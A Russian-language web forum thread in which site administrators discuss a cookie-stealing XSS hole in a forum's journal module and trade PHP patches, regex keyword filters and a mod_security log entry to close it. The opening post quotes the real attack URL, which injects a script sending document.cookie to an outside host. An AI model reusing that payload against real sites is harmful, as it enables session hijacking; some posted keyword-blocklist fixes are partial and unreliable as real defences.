Перейти к контенту

XSS в дневниках


Arhar

Рекомендуемые сообщения

ссылкой типа

_ttp://www.sumirea.ru/forum/journal.php?user=9251"><script>window.location.href='_ttp://ebu.hut2.ru/fun.php?'+doc_ument.co_okie</script>

угоняются куки,причем успешно

 

хорошо я присутствовал в момент взлома, да и ломал тупой кулхацкер, так что ничего он не успел сделать

но вопрос - откуда такая ерунда и почему оно сработало

 

сработало по непонятной причине, добавил пару фильтров в class_bbcode_core в функцию парсинга ссылок

отпишитесь, носит ли это только локальный характер

Ссылка на комментарий
Поделиться на других сайтах

В файле ./journal.php

 

Для форума 2.0 после строки:

$ibforums->input = $std->parse_incoming();

добавить:

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);

 

Для форума 2.1 и старше после:

$ipsclass->parse_incoming();

добавить:

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);

 

 

Это временное решение, если кто сделает более элегантно и грамотно буду только рад.

 

Крадутся куки модераторов дневников. :D

Проблема в том что в шаблоне skin_global.php используется $_SERVER['REQUEST_URI']. ;)

Ссылка на комментарий
Поделиться на других сайтах

также временно

$ipsclass->parse_incoming();
$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);
$_SERVER['REQUEST_URI'] = preg_replace( "/script/i"  , "s_c_r_i_p_t"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/window/i"  , "w_i_n_d_o_w"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/location/i"  , "l_o_c_a_t_i_o_n"   , $_SERVER['REQUEST_URI'] );

 

принципиально важно убрать яваскриптные редиректы

я их всех не знаю

 

установил

IE7 болезненно реагирует на слово document

неважно, есть ли очистка тегов, он просто перенаправляет сразу

 

более менее это выглядит так

$_SERVER['REQUEST_URI'] = strip_tags($_SERVER['REQUEST_URI']);
$_SERVER['REQUEST_URI'] = preg_replace( "/script/i"  , "s_c_r_i_p_t"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/window/i"  , "w_i_n_d_o_w"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/location/i"  , "l_o_c_a_t_i_o_n"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "/document/i"  , "d_o_c_u_m_e_n_t"   , $_SERVER['REQUEST_URI'] );
if(strpos($_SERVER['REQUEST_URI'],'cookie')!==false)
{
print "**itesv***sukinepoluchitevicookie";
exit;
}
$_SERVER['REQUEST_URI'] = preg_replace( "/cookie/i"  , "**itesv***"   , $_SERVER['REQUEST_URI'] );

Ссылка на комментарий
Поделиться на других сайтах

Может не хватить... Посмотри для примера post_db_parse_html в class_bbcode_core.php и pre_db_parse в class_bbcode.php.
Ссылка на комментарий
Поделиться на других сайтах

уязвимы по идее только те, у кого есть галочка в графе "модератор дневников"

пока-что принципиально закрыл слово куки, вроде закрываемость работает

 

но это не полное решение

 

также убираем слово куки в урл закодированном варианте

if(strpos($_SERVER['REQUEST_URI'],'%63%6F%6F%6B%69%65')!==false)
{
print "***";
exit;
}
$_SERVER['REQUEST_URI'] = preg_replace( "/%63%6F%6F%6B%69%65/i"  , "***"   , $_SERVER['REQUEST_URI'] );

 

 

SnS++;

Ссылка на комментарий
Поделиться на других сайтах

Ahar

По поводу чего можно "пропихнуть" вот тут глянь (мы там про кукисы, но суть едина в плане того что и табы в словах ИЕ проглатывает и т.д.)

http://www.ibresource.ru/forums/index.php?showtopic=28683

Ссылка на комментарий
Поделиться на других сайтах

да я следил за этой темой, Сонг че-то там напридумывал и теперь у него в каждом сообщении со словом скрипт выдается бяка)...

 

так про пробелы в слове фишка работает?

тогда надо вырезать пробелы

Ссылка на комментарий
Поделиться на других сайтах

так про пробелы в слове фишка работает?

тогда надо вырезать пробелы

Потому и давал выше ссылки на функции, там как раз есть регулярки и для пробелов.

Ссылка на комментарий
Поделиться на других сайтах

напиши их плиз сразу (для пробелов)

я сегодня машину с толкача заводил чтоб из института домой доехать, как-то сил нет)

 

по ходу хорошо так:

$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);

и у тех, у кого нет этой функции

 

смотреть дистрибутивы версии 22х и выше

 

вот так реально помогает

решение.

Ссылка на комментарий
Поделиться на других сайтах

//----------------------------

// 'ass' in 'class' kills css

//----------------------------

:D

 

Примерно так:

if ( preg_match( "/javascript\:/is", preg_replace( "#/\s{1,}#s", "", $url ) ) )
{
лажа;
}

 

Arhar, ага, это видимо в память запало ;)

 

P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись?

Ссылка на комментарий
Поделиться на других сайтах

тема заглохла?

нехорошо

что скажет автор модуля по поводу решения:

$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);

xsscleanhtml.txt

Ссылка на комментарий
Поделиться на других сайтах

А может, просто фильтровать REQUEST_URI на нехорошие символы? или лучше, _GET. Какие у нас там возможны значения? Только \w и еще иногда # - как в именах ключей, так и в значениях. И все, враг не пройдет.

 

где-то так

$url = $this->base_url;
foreach ($_GET as $k => $v)
{
$url .= preg_replace("/\W/", "", $k)."=".preg_replace("/[^#\w]/", "", $v)."&";
}
$url = rtrim($url, "&");
$mod_mode = $this->skin->html['global']->moderator_mode($mod_view,$mod_text,$url);

и соотвественно в скине подправить функцию moderator_mode - добавить третий параметр...

 

т.е. если оставить в query string только латинские буквы, цифры, подчеркивание и знак #, то никакой xss по определению не пройдет... а ничего другого в дневниках get-ом и не передается.

Ссылка на комментарий
Поделиться на других сайтах

Пусть юзают. Что от него останется после вышеприведенной очистки?

 

Только про "#" я прогнала - надо и его выкидывать. Это ни на что особо не повлияет.

 

А вообще-то, и это ерунда:D

 

Надо просто в skin_global.php вот это

<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>

заменить на это

<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a>

Изменено пользователем l-k
Ссылка на комментарий
Поделиться на других сайтах

Надо просто в skin_global.php вот это

<a href="{$_SERVER['REQUEST_URI']}" onclick="set_mod_cookie('{$check}');"><b>{$text}</b></a>

заменить на это

<a href="" onclick="java script:set_mod_cookie('{$check}');window.location.reload()"><b>{$text}</b></a>

Ага. Наконец то кто-то это сделал :D

 

P.S. Я только одного не пойму: неужели там без $_SERVER['REQUEST_URI'] нельзя обойтись?
Ссылка на комментарий
Поделиться на других сайтах

А если на сервере с apache'м юзать mod_security то в логах самого сервера бывают такого типа мессаджи

 

==0615eb06==============================
Request: URL 72.232.10.98 - - [15/Sep/2007:22:05:57 +0400] "GET /forum/java script:multi_page_jump(/ HTTP/1.1" 200 45337 "-" "Mozilla/4.0 (compa
tible; MSIE 6.0; Windows NT 5.1)" - "-"
----------------------------------------
GET /forum/java script:multi_page_jump(/ HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: URL
Pragma: no-cache
Accept: */*
mod_security-message: Warning. Pattern match "java script:" at QUERY_STRING [msg "XSS attack"] [severity "EMERGENCY"]

HTTP/1.1 200 OK
X-Powered-By: PHP/version
Set-Cookie: ipb_session_id=f34ae3c5e2338254e316aa7e32becc70; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=WINDOWS-1251
--0615eb06--

 

вобщем это позволяет в некотором роде снизить риски

 

У себя применил фиксы от urisoft и l-k , буду смотреть. Как вообще такой URL, который привел Arhar пролез или это просто в браузере руками вводили?

Ссылка на комментарий
Поделиться на других сайтах

Arhar, "решетка" (fragment identifier) в _GET не попадает, значит, учитывать ее при очистке значений параметров не нужно. Ее, если она нужна, надо выцеплять из $_SERVER['REQUEST_URI']. Насчет IE7 ничего не скажу, проверить не могу. Другие браузеры, как правило, ее не цепляют к url при отправке запроса.
Ссылка на комментарий
Поделиться на других сайтах

Да, конечно, неважно :D тема раскрыта.

 

Но раз уж ты про это упомянул, то в Википедии хорошо разжевано про обработку этой решетки браузером и серверными скриптами. http://en.wikipedia.org/wiki/Fragment_identifier

Ссылка на комментарий
Поделиться на других сайтах

эээээ,нет,так не пойдет

 

после этого изменения все равно происходит переадресация, даже учитывая то, что я убрал $_SERVER['REQUEST_URI']

 

а, ну естесственно!

 

./journal/journal.php

			$stats = '<br /><div align="center" class="copyright">[ Script Execution time: '.sprintf( "%.4f",$Debug->endTimer()).' ]   [ '.$DB->get_query_cnt().' <a style="text-decoration:none" href="'.$this->base_url.$_SERVER['QUERY_STRING'].'&debug=1">queries</a> used ]   [ '.$gzip_status.' ] '.$sload.'</div>'.$stats;

что здесь делает query_string?

правильно!

ворует куки!!!

 

ппц дырявый модуль

 

http://img502.imageshack.us/img502/6517/vzlomtestmh2.jpg

 

вот решение

 

$_SERVER['REQUEST_URI'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is"		, "vzlom" , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is"		, "vzlom" , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is"  , "vzlom"   , $_SERVER['REQUEST_URI'] );
$_SERVER['REQUEST_URI'] = $ipsclass->xss_html_clean($_SERVER['REQUEST_URI']);
$_SERVER['QUERY_STRING'] = preg_replace( "#w(\s+?)?i(\s+?)?n(\s+?)?d(\s+?)?o(\s+?)?w#is"		, "vzlom" , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = preg_replace( "#c(\s+?)?o(\s+?)?o(\s+?)?k(\s+?)?i(\s+?)?e#is"		, "vzlom" , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = preg_replace( "#%63(\s+?)?%6F(\s+?)?%6F(\s+?)?%6B(\s+?)?%69(\s+?)?%65#is"  , "vzlom"   , $_SERVER['QUERY_STRING'] );
$_SERVER['QUERY_STRING'] = $ipsclass->xss_html_clean($_SERVER['QUERY_STRING']);

тут уж никакие коды точно не должны пройти

Ссылка на комментарий
Поделиться на других сайтах

Так и туда можно javascript засунуть... острой необходимости использовать именно $_SERVER['QUERY_STRING'] по-прежнему нет. Нууу, например, так

document.location.href = document.location.href.replace("?","?debug=1&");

 

А у меня debug mode всегда отключен, так спокойней.

Ссылка на комментарий
Поделиться на других сайтах

В какое место лучше закинуть function xss_html_clean?

Насколько я понимаю, то после замены $ipsclass->xss_html_clean на $ibforums->xss_html_clean это будет актуально и для 2.0.х форумов?

 

Debug тоже всегда отключаю ибо не нужен он в повседневной жизни.

Ссылка на комментарий
Поделиться на других сайтах

функцию наверно в конец файла ibforums.php

она не зависит ни от каких других встроенных функций, поэтому ее можно вообще куда угодно запихнуть

вообще она полезная, я использовал ее еще в некоторых местах в class_bbcode_core

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Unfortunately, your content contains terms that we do not allow. Please edit your content to remove the highlighted words below.
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.